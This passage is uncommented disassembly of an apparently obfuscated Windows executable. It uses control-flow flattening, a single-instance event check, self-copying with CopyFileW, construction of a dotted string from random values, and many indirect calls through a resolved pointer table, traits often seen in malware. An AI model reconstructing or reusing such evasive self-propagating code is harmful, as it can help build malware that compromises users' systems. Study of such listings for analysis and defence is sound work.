mov dword [esp + 0x36c], eax
jg 0x4346d5
jmp 0x4346b7
mov eax, dword [esp + 0x658]
sub eax, 0x43d5877d
mov dword [esp + 0x368], eax
je 0x436928
jmp 0x434aef
mov eax, dword [esp + 0x658]
sub eax, 0x46f79f36
mov dword [esp + 0x364], eax
jg 0x434711
jmp 0x4346f3
mov eax, dword [esp + 0x658]
sub eax, 0x45226f82
mov dword [esp + 0x360], eax
je 0x434da1
jmp 0x434aef
mov eax, dword [esp + 0x658]
sub eax, 0x4a325be2
mov dword [esp + 0x35c], eax
jg 0x43474d
jmp 0x43472f
mov eax, dword [esp + 0x658]
sub eax, 0x46f79f37
mov dword [esp + 0x358], eax
je 0x434d91
jmp 0x434aef
mov eax, dword [esp + 0x658]
sub eax, 0x4e5190b0
mov dword [esp + 0x354], eax
jg 0x434789
jmp 0x43476b
mov eax, dword [esp + 0x658]
sub eax, 0x4a325be3
mov dword [esp + 0x350], eax
je 0x436d40
jmp 0x434aef
mov eax, dword [esp + 0x658]
sub eax, 0x599ad9b9
mov dword [esp + 0x34c], eax
jg 0x4347c5
jmp 0x4347a7
mov eax, dword [esp + 0x658]
sub eax, 0x4e5190b1
mov dword [esp + 0x348], eax
je 0x437712
jmp 0x434aef
mov eax, dword [esp + 0x658]
sub eax, 0x5de8a7b4
mov dword [esp + 0x344], eax
jg 0x434801
jmp 0x4347e3
mov eax, dword [esp + 0x658]
sub eax, 0x599ad9ba
mov dword [esp + 0x340], eax
je 0x4364d7
jmp 0x434aef
mov eax, dword [esp + 0x658]
sub eax, 0x6117ea59
mov dword [esp + 0x33c], eax
jg 0x43483d
jmp 0x43481f
mov eax, dword [esp + 0x658]
sub eax, 0x5de8a7b5
mov dword [esp + 0x338], eax
je 0x436eb8
jmp 0x434aef
mov eax, dword [esp + 0x658]
sub eax, 0x617f449e
mov dword [esp + 0x334], eax
jg 0x434879
jmp 0x43485b
mov eax, dword [esp + 0x658]
sub eax, 0x6117ea5a
mov dword [esp + 0x330], eax
je 0x437267
jmp 0x434aef
mov eax, dword [esp + 0x658]
sub eax, 0x6833fd93
mov dword [esp + 0x32c], eax
jg 0x4348b5
jmp 0x434897
mov eax, dword [esp + 0x658]
sub eax, 0x617f449f
mov dword [esp + 0x328], eax
je 0x434f1c
jmp 0x434aef
mov eax, dword [esp + 0x658]
sub eax, 0x6c76a042
mov dword [esp + 0x324], eax
jg 0x4348f1
jmp 0x4348d3
mov eax, dword [esp + 0x658]
sub eax, 0x6833fd94
mov dword [esp + 0x320], eax
je 0x4368cb
jmp 0x434aef
mov eax, dword [esp + 0x658]
sub eax, 0x6ed294f2
mov dword [esp + 0x31c], eax
jg 0x43492d
jmp 0x43490f
mov eax, dword [esp + 0x658]
sub eax, 0x6c76a043
mov dword [esp + 0x318], eax
je 0x4368dc
jmp 0x434aef
mov eax, dword [esp + 0x658]
sub eax, 0x713ee1d8
mov dword [esp + 0x314], eax
jg 0x434969
jmp 0x43494b
mov eax, dword [esp + 0x658]
sub eax, 0x6ed294f3
mov dword [esp + 0x310], eax
je 0x436cb0
jmp 0x434aef
mov eax, dword [esp + 0x658]
sub eax, 0x713ee1d9
mov dword [esp + 0x30c], eax
je 0x434ca1
jmp 0x434987
mov eax, dword [esp + 0x658]
sub eax, 0x7383f5f9
mov dword [esp + 0x308], eax
je 0x436c75
jmp 0x4349a5
mov eax, dword [esp + 0x658]
sub eax, 0x7385fae2
mov dword [esp + 0x304], eax
je 0x4353f1
jmp 0x434aef
mov eax, dword [esp + 0x658]
sub eax, 0x74cae28a
mov dword [esp + 0x300], eax
je 0x4371b1
jmp 0x434aef
mov eax, dword [esp + 0x658]
sub eax, 0x779cbc84
mov dword [esp + 0x2fc], eax
je 0x436b0e
jmp 0x434aef
mov eax, dword [esp + 0x658]
sub eax, 0x7866571e
mov dword [esp + 0x2f8], eax
je 0x4370f9
jmp 0x434aef
mov eax, dword [esp + 0x658]
sub eax, 0x7990517d
mov dword [esp + 0x2f4], eax
je 0x43781f
jmp 0x434aef
mov eax, dword [esp + 0x658]
sub eax, 0x7be3834c
mov dword [esp + 0x2f0], eax
je 0x436d1f
jmp 0x434aef
mov eax, dword [esp + 0x658]
sub eax, 0x7c7c68d7
mov dword [esp + 0x2ec], eax
je 0x4350b1
jmp 0x434aef
mov eax, dword [esp + 0x658]
sub eax, 0x7f912bf9
mov dword [esp + 0x2e8], eax
je 0x436918
jmp 0x434aef
mov eax, dword [esp + 0x658]
sub eax, 0x7fb48320
mov dword [esp + 0x2e4], eax
je 0x43715f
jmp 0x434aef
mov eax, dword [esp + 0x658]
sub eax, 0x7fd18bc0
mov dword [esp + 0x2e0], eax
je 0x4353e0
jmp 0x434aef
mov eax, dword [esp + 0x658]
sub eax, 0x7ff87b4e
mov dword [esp + 0x2dc], eax
je 0x437303
jmp 0x434aef
jmp 0x437895
mov eax, 0x111b089d
mov ecx, 0x9450f804
mov edx, dword [esp + 0x2584]
cmp edx, 0
cmovl eax, ecx
mov dword [esp + 0x6c0], eax
jmp 0x437895
mov eax, 0x8a931c0a
mov dword [esp + 0x6c0], eax
jmp 0x437895
mov eax, 0xdf2ca585
mov dword [esp + 0x6c0], eax
jmp 0x437895
mov dword [esp + 0x6c0], 0x9d322d9
jmp 0x437895
mov eax, 0x3fdedda2
mov dword [esp + 0x6c0], eax
jmp 0x437895
mov eax, 0x104
lea ecx, [esp + 0xe82]
mov dword [esp], ecx
mov dword [esp + 4], 0x104
mov dword [esp + 0x2d8], eax
call fcn.00401ce0
mov dword [esp + 0x744], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetCommandLineW]
call eax
lea ecx, str..exe
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.0041a3e1
lea ecx, [0x45beda]
mov dword [esp + 0x24f0], eax
mov eax, dword [esp + 0x24f0]
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.0041a3e1
mov ecx, 0x865058f9
mov dword [0x52d984], eax
cmp dword [0x52d984], 0
setne dl
and dl, 1
mov byte [esp + 0x2588], dl
mov dword [esp + 0x6c0], ecx
jmp 0x437895
mov eax, 0x45226f82
mov ecx, 0x19599fb2
mov dl, byte [esp + 0x2588]
test dl, 1
cmovne eax, ecx
mov dword [esp + 0x6c0], eax
jmp 0x437895
mov eax, 0
mov ecx, 0x28
lea edx, [esp + 0x6f8]
mov dword [esp], edx
mov dword [esp + 4], 0
mov dword [esp + 8], 0x28
mov dword [esp + 0x2d4], eax
mov dword [esp + 0x2d0], ecx
call fcn.00419b20
mov dword [esp + 0x6c0], 0xc0c27299
jmp 0x437895
mov eax, 0x713ee1d9
mov ecx, 0x27f33c5b
mov edx, dword [0x52d984]
movzx edx, word [edx]
movzx esi, word [0x45beda]
cmp edx, esi
cmove eax, ecx
mov dword [esp + 0x6c0], eax
jmp 0x437895
mov eax, dword [0x52d984]
add eax, 2
mov dword [0x52d984], eax
mov dword [esp + 0x6c0], 0xc0c27299
jmp 0x437895
lea eax, [esp + 0x6f8]
mov ecx, dword [0x4ec48c]
movzx ecx, word [ecx]
mov dword [esp + 0x6f4], ecx
mov ecx, dword [esp + 0x6f4]
add ecx, 0x4f314b5a
add ecx, 1
sub ecx, 0x4f314b5a
mov edx, dword [0x4ec48c]
movzx ecx, word [edx + ecx*2]
mov dword [esp + 0x6f0], ecx
mov ecx, dword [esp + 0x6f0]
mov edx, dword [0x4ec48c]
mov esi, dword [esp + 0x6f4]
shl esi, 1
add edx, esi
add edx, 4
mov esi, dword [0x4ec48c]
add esi, 2
mov edi, dword [esp + 0x6f4]
mov dword [esp], eax
mov dword [esp + 4], edi
mov dword [esp + 8], esi
mov dword [esp + 0xc], edx
mov dword [esp + 0x10], ecx
call fcn.004017a0
lea eax, [esp + 0x6f8]
mov dword [esp], eax
call fcn.0044f5a0
lea ecx, [esp + 0x6f8]
mov edx, dword [0x52d984]
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.0042f440
mov ecx, 0xbe92d1f6
mov edx, 0x46f79f37
cmp eax, 0
cmovne ecx, edx
mov dword [esp + 0x6c0], ecx
jmp 0x437895
mov dword [esp + 0x2580], 0
mov dword [esp + 0x6c0], 0xd1c96428
jmp 0x437895
mov dword [esp + 0x6c0], 0x45226f82
jmp 0x437895
lea eax, [esp + 0x724]
mov dword [esp], eax
call fcn.0042a3b0
mov ecx, 0x3b8bf370
mov edx, 0x245dec84
cmp eax, 0
cmovne ecx, edx
mov dword [esp + 0x6c0], ecx
jmp 0x437895
mov eax, 0xacb3e902
mov dword [esp + 0x6c0], eax
jmp 0x437895
mov eax, 0x104
lea ecx, [esp + 0x18b4]
lea edx, [esp + 0xe82]
mov esi, dword [esp + 0x744]
mov dword [esp], ecx
mov dword [esp + 4], 0x104
mov dword [esp + 8], edx
mov dword [esp + 0xc], esi
mov dword [esp + 0x2cc], eax
call fcn.0044e960
lea ecx, [esp + 0x18b4]
mov dword [esp + 0x728], eax
mov eax, dword [esp + 0x728]
sub eax, 0xac58178b
sub eax, 4
add eax, 0xac58178b
shl eax, 1
mov edx, ecx
add edx, eax
mov word [edx], 0
mov eax, esp
mov dword [eax + 0xc], ecx
mov dword [eax + 8], 0
mov dword [eax + 4], 0
mov dword [eax], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateEventW]
call eax
sub esp, 0x10
mov ecx, 0x17135cc5
mov dword [esp + 0x2574], eax
cmp dword [esp + 0x2574], 0
setne bl
and bl, 1
mov byte [esp + 0x2589], bl
mov dword [esp + 0x6c0], ecx
jmp 0x437895
mov eax, 0x42669325
mov ecx, 0x95c93ec
mov dl, byte [esp + 0x2589]
test dl, 1
cmovne eax, ecx
mov dword [esp + 0x6c0], eax
jmp 0x437895
mov eax, 0xe30bda46
mov dword [esp + 0x6c0], eax
jmp 0x437895
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov ecx, 0x12c88742
cmp eax, 0xb7
sete dl
and dl, 1
mov byte [esp + 0x258a], dl
mov dword [esp + 0x6c0], ecx
jmp 0x437895
mov eax, 0xf760e0e
mov ecx, 0x617f449f
mov dl, byte [esp + 0x258a]
test dl, 1
cmovne eax, ecx
mov dword [esp + 0x6c0], eax
jmp 0x437895
lea eax, [esp + 0x18b4]
mov dword [esp], eax
call fcn.0044f5a0
mov ecx, 0x104
lea edx, [esp + 0x14a0]
lea esi, [esp + 0x18b4]
mov dword [esp], edx
mov dword [esp + 4], 0x104
mov dword [esp + 8], esi
mov dword [esp + 0xc], eax
mov dword [esp + 0x2c8], ecx
call fcn.00423170
lea eax, [esp + 0x14a0]
mov dword [esp], eax
call fcn.0044bb80
mov eax, dword [esp + 0x2574]
mov ecx, esp
mov dword [ecx], eax
mov eax, dword [sym.imp.KERNEL32.dll_SetEvent]
call eax
sub esp, 4
mov dword [esp + 0x6c0], 0xc472be30
mov dword [esp + 0x2c4], eax
jmp 0x437895
lea eax, [0x52d988]
mov ecx, 0x104
lea edx, [esp + 0xe82]
mov esi, dword [esp + 0x744]
mov dword [esp], eax
mov dword [esp + 4], 0x104
mov dword [esp + 8], edx
mov dword [esp + 0xc], esi
mov dword [esp + 0x2c0], ecx
call fcn.0044e330
mov dword [esp + 0x6c0], 0xc472be30
mov dword [esp + 0x2bc], eax
jmp 0x437895
mov eax, dword [esp + 0x2574]
mov ecx, esp
mov dword [ecx], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov dword [esp + 0x6c0], 0x8024025e
mov dword [esp + 0x2b8], eax
jmp 0x437895
lea eax, [0x52d988]
mov ecx, 0x104
lea edx, [esp + 0xe82]
mov esi, dword [esp + 0x744]
mov dword [esp], eax
mov dword [esp + 4], 0x104
mov dword [esp + 8], edx
mov dword [esp + 0xc], esi
mov dword [esp + 0x2b4], ecx
call fcn.0044e330
mov dword [esp + 0x6c0], 0x8024025e
mov dword [esp + 0x2b0], eax
jmp 0x437895
mov dword [esp + 0x2580], 0
mov dword [esp + 0x6c0], 0xd1c96428
jmp 0x437895
mov eax, 0x7c7c68d7
mov ecx, 0xd26a81e3
cmp dword [esp + 0x724], 6
cmovb eax, ecx
mov dword [esp + 0x6c0], eax
jmp 0x437895
mov dword [esp + 0x6c0], 0x9d322d9
jmp 0x437895
mov eax, esp
lea ecx, [esp + 0xc78]
mov dword [eax + 8], ecx
lea ecx, [esp + 0xe82]
mov dword [eax], ecx
mov dword [eax + 0xc], 0
mov dword [eax + 4], 0x104
mov eax, dword [sym.imp.KERNEL32.dll_GetFullPathNameW]
call eax
sub esp, 0x10
neg eax
mov ecx, 1
sub ecx, eax
mov dword [esp + 0x73c], ecx
mov eax, esp
lea ecx, [esp + 0x1ed2]
mov dword [eax], ecx
mov dword [eax + 4], 0x104
mov dword [esp + 0x2ac], ecx
call fcn.00439b30
mov ecx, esp
mov edx, dword [esp + 0x2ac]
mov dword [ecx], edx
mov dword [esp + 0x2a8], eax
call fcn.0044f5a0
mov dword [esp + 0x738], eax
mov eax, esp
mov dword [eax], 0
call fcn.00406c80
mov dword [esp + 0x2a4], edx
mov dword [esp + 0x2a0], eax
call fcn.00422ad0
mov ecx, dword [esp + 0x2a0]
imul ecx, eax
mov dword [esp], ecx
call fcn.0041a18e
mov dword [esp + 0x6c0], 0x1736052b
jmp 0x437895
mov eax, 0xcc5861f8
mov dword [esp + 0x6c0], eax
jmp 0x437895
mov eax, 0
mov ecx, 0x20a
lea edx, [esp + 0x18b4]
mov dword [esp], edx
mov dword [esp + 4], 0
mov dword [esp + 8], 0x20a
mov dword [esp + 0x29c], eax
mov dword [esp + 0x298], ecx
call fcn.00439800
mov ecx, 0
mov edx, 0x20a
lea esi, [esp + 0x16aa]
mov dword [esp], esi
mov dword [esp + 4], 0
mov dword [esp + 8], 0x20a
mov dword [esp + 0x294], eax
mov dword [esp + 0x290], ecx
mov dword [esp + 0x28c], edx
call fcn.00439800
mov ecx, 0x104
lea edx, [esp + 0x18b4]
mov dword [esp], edx
mov dword [esp + 4], 0x104
mov dword [esp + 0x288], eax
mov dword [esp + 0x284], ecx
call fcn.0044f980
lea eax, [esp + 0x18b4]
mov dword [esp], eax
call fcn.0044f5a0
mov ecx, 0x104
lea edx, [esp + 0x16aa]
lea esi, [esp + 0x1ed2]
mov dword [esp + 0x6ec], eax
mov eax, dword [esp + 0x738]
mov dword [esp], edx
mov dword [esp + 4], 0x104
mov dword [esp + 8], esi
mov dword [esp + 0xc], eax
mov dword [esp + 0x280], ecx
call fcn.0044e330
lea ecx, [esp + 0x16aa]
mov edx, 0x104
lea esi, [esp + 0x18b4]
mov edi, dword [esp + 0x6ec]
mov ebx, dword [esp + 0x738]
sub edx, 0x92bb82ed
sub edx, ebx
add edx, 0x92bb82ed
mov ebx, dword [esp + 0x738]
shl ebx, 1
add ecx, ebx
mov dword [esp], ecx
mov dword [esp + 4], edx
mov dword [esp + 8], esi
mov dword [esp + 0xc], edi
mov dword [esp + 0x27c], eax
call fcn.0044e330
lea ecx, str..exe
mov edx, 4
lea esi, [esp + 0x16aa]
mov edi, 0
mov ebx, 0x104
mov dword [esp + 0x278], eax
mov eax, dword [esp + 0x738]
sub ebx, 0x4aba6ebc
sub ebx, eax
add ebx, 0x4aba6ebc
mov eax, dword [esp + 0x6ec]
sub edi, eax
add ebx, edi
mov eax, dword [esp + 0x738]
shl eax, 1
add esi, eax
mov eax, dword [esp + 0x6ec]
shl eax, 1
add esi, eax
mov dword [esp], esi
mov dword [esp + 4], ebx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], 4
mov dword [esp + 0x274], edx
call fcn.0044e330
mov ecx, 0xfa8bec27
mov dword [esp + 0x6c0], ecx
mov dword [esp + 0x270], eax
jmp 0x437895
mov dword [esp + 0x6c0], 0xae4cf5b2
jmp 0x437895
mov eax, 0xc3abff54
mov dword [esp + 0x6c0], eax
jmp 0x437895
lea eax, [esp + 0xc78]
lea ecx, [esp + 0x16aa]
mov edx, esp
mov dword [edx + 4], ecx
mov dword [edx], eax
mov dword [edx + 8], 1
mov eax, dword [sym.imp.KERNEL32.dll_CopyFileW]
call eax
sub esp, 0xc
mov ecx, 0xe713bc99
cmp eax, 0
sete bl
and bl, 1
mov byte [esp + 0x258b], bl
mov dword [esp + 0x6c0], ecx
jmp 0x437895
mov eax, 0x7fd18bc0
mov ecx, 0x1736052b
mov dl, byte [esp + 0x258b]
test dl, 1
cmovne eax, ecx
mov dword [esp + 0x6c0], eax
jmp 0x437895
mov eax, 0x7385fae2
mov dword [esp + 0x6c0], eax
jmp 0x437895
mov eax, 0xa4709b0c
mov dword [esp + 0x6c0], eax
jmp 0x437895
mov dword [esp + 0x6c0], 0xcf0eaf08
jmp 0x437895
mov eax, 0x16064cbf
mov dword [esp + 0x6c0], eax
jmp 0x437895
mov eax, 0
mov ecx, 0x20a
lea edx, [esp + 0x1cc8]
mov dword [esp], edx
mov dword [esp + 4], 0
mov dword [esp + 8], 0x20a
mov dword [esp + 0x26c], eax
mov dword [esp + 0x268], ecx
call fcn.00439800
mov ecx, 0
mov edx, 0x20a
lea esi, [esp + 0x1abe]
mov dword [esp], esi
mov dword [esp + 4], 0
mov dword [esp + 8], 0x20a
mov dword [esp + 0x264], eax
mov dword [esp + 0x260], ecx
mov dword [esp + 0x25c], edx
call fcn.00439800
mov ecx, 0x104
lea edx, [esp + 0x1cc8]
mov dword [esp], edx
mov dword [esp + 4], 0x104
mov dword [esp + 0x258], eax
mov dword [esp + 0x254], ecx
call fcn.0044f980
mov eax, 0x104
lea ecx, [esp + 0x1abe]
lea edx, [esp + 0x1ed2]
mov esi, dword [esp + 0x738]
mov dword [esp], ecx
mov dword [esp + 4], 0x104
mov dword [esp + 8], edx
mov dword [esp + 0xc], esi
mov dword [esp + 0x250], eax
call fcn.0044e330
lea ecx, [esp + 0x1cc8]
mov dword [esp], ecx
mov dword [esp + 0x24c], eax
call fcn.0044f5a0
lea ecx, [esp + 0x1abe]
mov edx, 0x96879102
lea esi, [esp + 0x1cc8]
mov edi, dword [esp + 0x738]
add edx, 0x104
sub edx, edi
sub edx, 0x96879102
mov edi, dword [esp + 0x738]
shl edi, 1
add ecx, edi
mov dword [esp], ecx
mov dword [esp + 4], edx
mov dword [esp + 8], esi
mov dword [esp + 0xc], eax
call fcn.0044e330
lea ecx, [esp + 0x1abe]
mov edx, dword [0x52ece0]
mov esi, esp
mov dword [esi], ecx
mov dword [esi + 4], 0
mov dword [esp + 0x248], eax
call edx
sub esp, 8
mov ecx, 0xf910428e
mov dword [esp + 0x256c], eax
mov dword [esp + 0x6c0], ecx
jmp 0x437895
mov dword [esp + 0x6c0], 0x7214319
jmp 0x437895
mov eax, 0x3adf06b8
mov ecx, 0xcf0eaf08
cmp dword [esp + 0x256c], 0
cmove eax, ecx
mov dword [esp + 0x6c0], eax
jmp 0x437895
mov eax, dword [0x52ecd4]
mov ecx, dword [0x52eaec]
mov edx, dword [0x52eb14]
mov esi, dword [esp + 0x256c]
mov edi, esp
lea ebx, [esp + 0x252c]
mov dword [edi + 0x14], ebx
mov dword [edi + 8], ecx
mov dword [edi + 4], edx
mov dword [edi], esi
mov dword [edi + 0x10], 1
mov dword [edi + 0xc], 1
call eax
sub esp, 0x18
mov ecx, dword [0x52ecd4]
mov edx, dword [0x52eafc]
mov esi, dword [0x52eb14]
mov edi, dword [esp + 0x256c]
mov ebx, esp
mov dword [esp + 0x244], eax
lea eax, [esp + 0x2528]
mov dword [ebx + 0x14], eax
mov dword [ebx + 8], edx
mov dword [ebx + 4], esi
mov dword [ebx], edi
mov dword [ebx + 0x10], 0
mov dword [ebx + 0xc], 0
call ecx
sub esp, 0x18
mov ecx, dword [0x52ecd4]
mov edx, dword [0x52eb00]
mov esi, dword [0x52eb14]
mov edi, dword [esp + 0x256c]
mov ebx, esp
mov dword [esp + 0x240], eax
lea eax, [esp + 0x2524]
mov dword [ebx + 0x14], eax
mov dword [ebx + 8], edx
mov dword [ebx + 4], esi
mov dword [ebx], edi
mov dword [ebx + 0x10], 0
mov dword [ebx + 0xc], 0
call ecx
sub esp, 0x18
mov ecx, dword [0x52ecd4]
mov edx, dword [0x52eaec]
mov esi, dword [0x52eb10]
mov edi, dword [esp + 0x256c]
mov ebx, esp
mov dword [esp + 0x23c], eax
lea eax, [esp + 0x2520]
mov dword [ebx + 0x14], eax
mov dword [ebx + 8], edx
mov dword [ebx + 4], esi
mov dword [ebx], edi
mov dword [ebx + 0x10], 0
mov dword [ebx + 0xc], 0
call ecx
sub esp, 0x18
mov ecx, dword [0x52ecd4]
mov edx, dword [0x52eae0]
mov esi, dword [0x52eb20]
mov edi, dword [esp + 0x256c]
mov ebx, esp
mov dword [esp + 0x238], eax
lea eax, [esp + 0x251c]
mov dword [ebx + 0x14], eax
mov dword [ebx + 8], edx
mov dword [ebx + 4], esi
mov dword [ebx], edi
mov dword [ebx + 0x10], 0
mov dword [ebx + 0xc], 0
call ecx
sub esp, 0x18
mov ecx, dword [0x52ecd4]
mov edx, dword [0x52eaec]
mov esi, dword [0x52eb24]
mov edi, dword [esp + 0x256c]
mov ebx, esp
mov dword [esp + 0x234], eax
lea eax, [esp + 0x2518]
mov dword [ebx + 0x14], eax
mov dword [ebx + 8], edx
mov dword [ebx + 4], esi
mov dword [ebx], edi
mov dword [ebx + 0x10], 1
mov dword [ebx + 0xc], 0
call ecx
sub esp, 0x18
mov ecx, dword [0x52ecd4]
mov edx, dword [0x52eb30]
mov esi, dword [0x52eb28]
mov edi, dword [esp + 0x256c]
mov ebx, esp
mov dword [esp + 0x230], eax
lea eax, [esp + 0x2514]
mov dword [ebx + 0x14], eax
mov dword [ebx + 8], edx
mov dword [ebx + 4], esi
mov dword [ebx], edi
mov dword [ebx + 0x10], 0
mov dword [ebx + 0xc], 0
call ecx
sub esp, 0x18
mov ecx, dword [0x52ecd4]
mov edx, dword [0x52eb2c]
mov esi, dword [0x52eb28]
mov edi, dword [esp + 0x256c]
mov ebx, esp
mov dword [esp + 0x22c], eax
lea eax, [esp + 0x2510]
mov dword [ebx + 0x14], eax
mov dword [ebx + 8], edx
mov dword [ebx + 4], esi
mov dword [ebx], edi
mov dword [ebx + 0x10], 1
mov dword [ebx + 0xc], 0
call ecx
sub esp, 0x18
mov ecx, dword [0x52ecd4]
mov edx, dword [0x52eb2c]
mov esi, dword [0x52eb14]
mov edi, dword [esp + 0x256c]
mov ebx, esp
mov dword [esp + 0x228], eax
lea eax, [esp + 0x250c]
mov dword [ebx + 0x14], eax
mov dword [ebx + 8], edx
mov dword [ebx + 4], esi
mov dword [ebx], edi
mov dword [ebx + 0x10], 0
mov dword [ebx + 0xc], 1
call ecx
sub esp, 0x18
mov ecx, dword [0x52ecd0]
mov edx, dword [esp + 0x256c]
mov esi, esp
mov dword [esi], edx
mov dword [esp + 0x224], eax
call ecx
sub esp, 4
mov dword [esp + 0x220], eax
call fcn.0041a16b
mov ecx, eax
xor ecx, 0xfffffff0
and ecx, eax
mov eax, esp
lea edx, [esp + 0x79c]
mov dword [eax + 4], edx
mov dword [eax], ecx
mov dword [eax + 8], 0xa
mov dword [esp + 0x21c], edx
call fcn.0041a678
mov ecx, esp
mov edx, dword [esp + 0x21c]
mov dword [ecx], edx
mov dword [esp + 0x218], eax
call fcn.0044f5a0
mov dword [esp + 0x744], eax
mov ecx, eax
inc ecx
mov dword [esp + 0x744], ecx
mov word [esp + eax*2 + 0x79c], 0x2e
mov eax, dword [esp + 0x744]
lea eax, [esp + eax*2 + 0x79c]
mov dword [esp + 0x214], eax
call fcn.0041a16b
mov ecx, eax
xor ecx, 0xfffffffe
and ecx, eax
mov eax, esp
mov edx, dword [esp + 0x214]
mov dword [eax + 4], edx
mov dword [eax], ecx
mov dword [eax + 8], 0xa
call fcn.0041a678
mov ecx, esp
mov edx, dword [esp + 0x21c]
mov dword [ecx], edx
mov dword [esp + 0x210], eax
call fcn.0044f5a0
mov dword [esp + 0x744], eax
mov ecx, eax
inc ecx
mov dword [esp + 0x744], ecx
mov word [esp + eax*2 + 0x79c], 0x2e
mov eax, dword [esp + 0x744]
lea eax, [esp + eax*2 + 0x79c]
mov dword [esp + 0x20c], eax
call fcn.0041a16b
and eax, 5
mov ecx, esp
mov edx, dword [esp + 0x20c]
mov dword [ecx + 4], edx
mov dword [ecx], eax
mov dword [ecx + 8], 0xa
call fcn.0041a678
mov ecx, esp
mov edx, dword [esp + 0x21c]
mov dword [ecx], edx
mov dword [esp + 0x208], eax
call fcn.0044f5a0
mov dword [esp + 0x744], eax
mov ecx, eax
inc ecx
mov dword [esp + 0x744], ecx
mov word [esp + eax*2 + 0x79c], 0x2e
mov eax, dword [esp + 0x744]
lea eax, [esp + eax*2 + 0x79c]
mov dword [esp + 0x204], eax
call fcn.0041a16b
and eax, 0xc
mov ecx, esp
mov edx, dword [esp + 0x204]
mov dword [ecx + 4], edx
mov dword [ecx], eax
mov dword [ecx + 8], 0xa
call fcn.0041a678
mov ecx, esp
mov edx, dword [esp + 0x21c]
mov dword [ecx], edx
mov dword [esp + 0x200], eax
call fcn.0044f5a0
mov dword [esp + 0x744], eax
mov eax, dword [0x4ec490]
movzx eax, byte [eax]
mov dword [esp + 0x6e8], eax
mov ecx, dword [0x4ec490]
movzx eax, byte [eax + ecx + 1]
mov dword [esp + 0x6e4], eax
mov ecx, dword [0x4ec490]
mov edx, dword [esp + 0x6e8]
lea esi, [ecx + edx + 2]
inc ecx
mov edi, esp
mov dword [edi + 0x10], eax
mov dword [edi + 0xc], esi
mov dword [edi + 8], ecx
mov dword [edi + 4], edx
lea eax, [esp + 0x764]
mov dword [edi], eax
call fcn.0042e8f0
mov eax, dword [0x52eccc]
mov ecx, dword [0x52eb08]
mov edx, dword [esp + 0x256c]
mov esi, esp
mov dword [esi + 4], ecx
mov dword [esi], edx
call eax
sub esp, 8
mov dword [esp + 0x2508], eax
mov eax, dword [0x52ecc4]
xor ecx, ecx
mov edx, dword [0x52eb38]
mov esi, dword [0x52eae8]
mov edi, dword [esp + 0x256c]
mov ebx, esp
mov dword [ebx + 0xc], ecx
mov dword [ebx + 8], edx
mov dword [ebx + 4], esi
mov dword [ebx], edi
call eax
sub esp, 0x10
lea ecx, [esp + 0x79c]
mov edx, dword [0x52ecc0]
mov esi, dword [0x52eb04]
mov edi, dword [esp + 0x256c]
mov ebx, esp
mov dword [ebx + 8], ecx
mov dword [ebx + 4], esi
mov dword [ebx], edi
mov dword [esp + 0x1fc], eax
call edx
sub esp, 0xc
lea ecx, [esp + 0x1cc8]
mov edx, dword [0x52ecc0]
mov esi, dword [0x52eaec]
mov edi, dword [esp + 0x256c]
mov ebx, esp
mov dword [ebx + 8], ecx
mov dword [ebx + 4], esi
mov dword [ebx], edi
mov dword [esp + 0x1f8], eax
call edx
sub esp, 0xc
mov ecx, dword [0x52ecbc]
mov edx, dword [0x52eae4]
mov esi, dword [esp + 0x256c]
mov edi, esp
mov dword [edi + 4], edx
mov dword [edi], esi
mov dword [edi + 8], 1
mov dword [esp + 0x1f4], eax
call ecx
sub esp, 0xc
lea ecx, [esp + 0x764]
mov edx, dword [0x52ecb8]
mov esi, dword [0x52eb34]
mov edi, dword [esp + 0x256c]
mov ebx, esp
mov dword [ebx + 8], ecx
mov dword [ebx + 4], esi
mov dword [ebx], edi
mov dword [ebx + 0xc], 0x10
mov dword [esp + 0x1f0], eax
call edx
sub esp, 0x10
mov ecx, dword [0x52eccc]
mov edx, dword [0x52eb0c]
mov esi, dword [esp + 0x256c]
mov edi, esp
mov dword [edi + 4], edx
mov dword [edi], esi
mov dword [esp + 0x1ec], eax
call ecx
sub esp, 8
mov dword [esp + 0x2504], eax
mov eax, dword [0x52ecb4]
mov ecx, dword [esp + 0x2520]
mov edx, dword [esp + 0x256c]
mov esi, esp
mov dword [esi + 4], ecx
mov dword [esi], edx
call eax
sub esp, 8
mov ecx, dword [0x52ecb0]
mov edx, dword [esp + 0x2520]
mov esi, dword [esp + 0x256c]
mov edi, esp
mov dword [edi + 4], edx
mov dword [edi], esi
mov dword [esp + 0x1e8], eax
call ecx
sub esp, 8
mov ecx, dword [0x52ecb4]
mov edx, dword [esp + 0x2518]
mov esi, dword [esp + 0x256c]
mov edi, esp
mov dword [edi + 4], edx
mov dword [edi], esi
mov dword [esp + 0x1e4], eax
call ecx
sub esp, 8
mov ecx, dword [0x52ecb0]
mov edx, dword [esp + 0x2518]
mov esi, dword [esp + 0x256c]
mov edi, esp
mov dword [edi + 4], edx
mov dword [edi], esi
mov dword [esp + 0x1e0], eax
call ecx
sub esp, 8
mov ecx, dword [0x52ecc8]
mov edx, dword [esp + 0x2504]
mov esi, dword [esp + 0x256c]
mov edi, esp
mov dword [edi + 4], edx
mov dword [edi], esi
mov dword [esp + 0x1dc], eax
call ecx
sub esp, 8
mov ecx, dword [0x52ecb4]
mov edx, dword [esp + 0x2528]
mov esi, dword [esp + 0x256c]
mov edi, esp
mov dword [edi + 4], edx
mov dword [edi], esi
mov dword [esp + 0x1d8], eax
call ecx
sub esp, 8
mov ecx, dword [0x52ecb0]
mov edx, dword [esp + 0x2528]
mov esi, dword [esp + 0x256c]
mov edi, esp
mov dword [edi + 4], edx
mov dword [edi], esi
mov dword [esp + 0x1d4], eax
call ecx
sub esp, 8
mov ecx, dword [0x52ecb4]
mov edx, dword [esp + 0x2524]
mov esi, dword [esp + 0x256c]
mov edi, esp
mov dword [edi + 4], edx
mov dword [edi], esi
mov dword [esp + 0x1d0], eax
call ecx
sub esp, 8
mov ecx, dword [0x52ecb0]
mov edx, dword [esp + 0x2524]
mov esi, dword [esp + 0x256c]
mov edi, esp
mov dword [edi + 4], edx
mov dword [edi], esi
mov dword [esp + 0x1cc], eax
call ecx
sub esp, 8
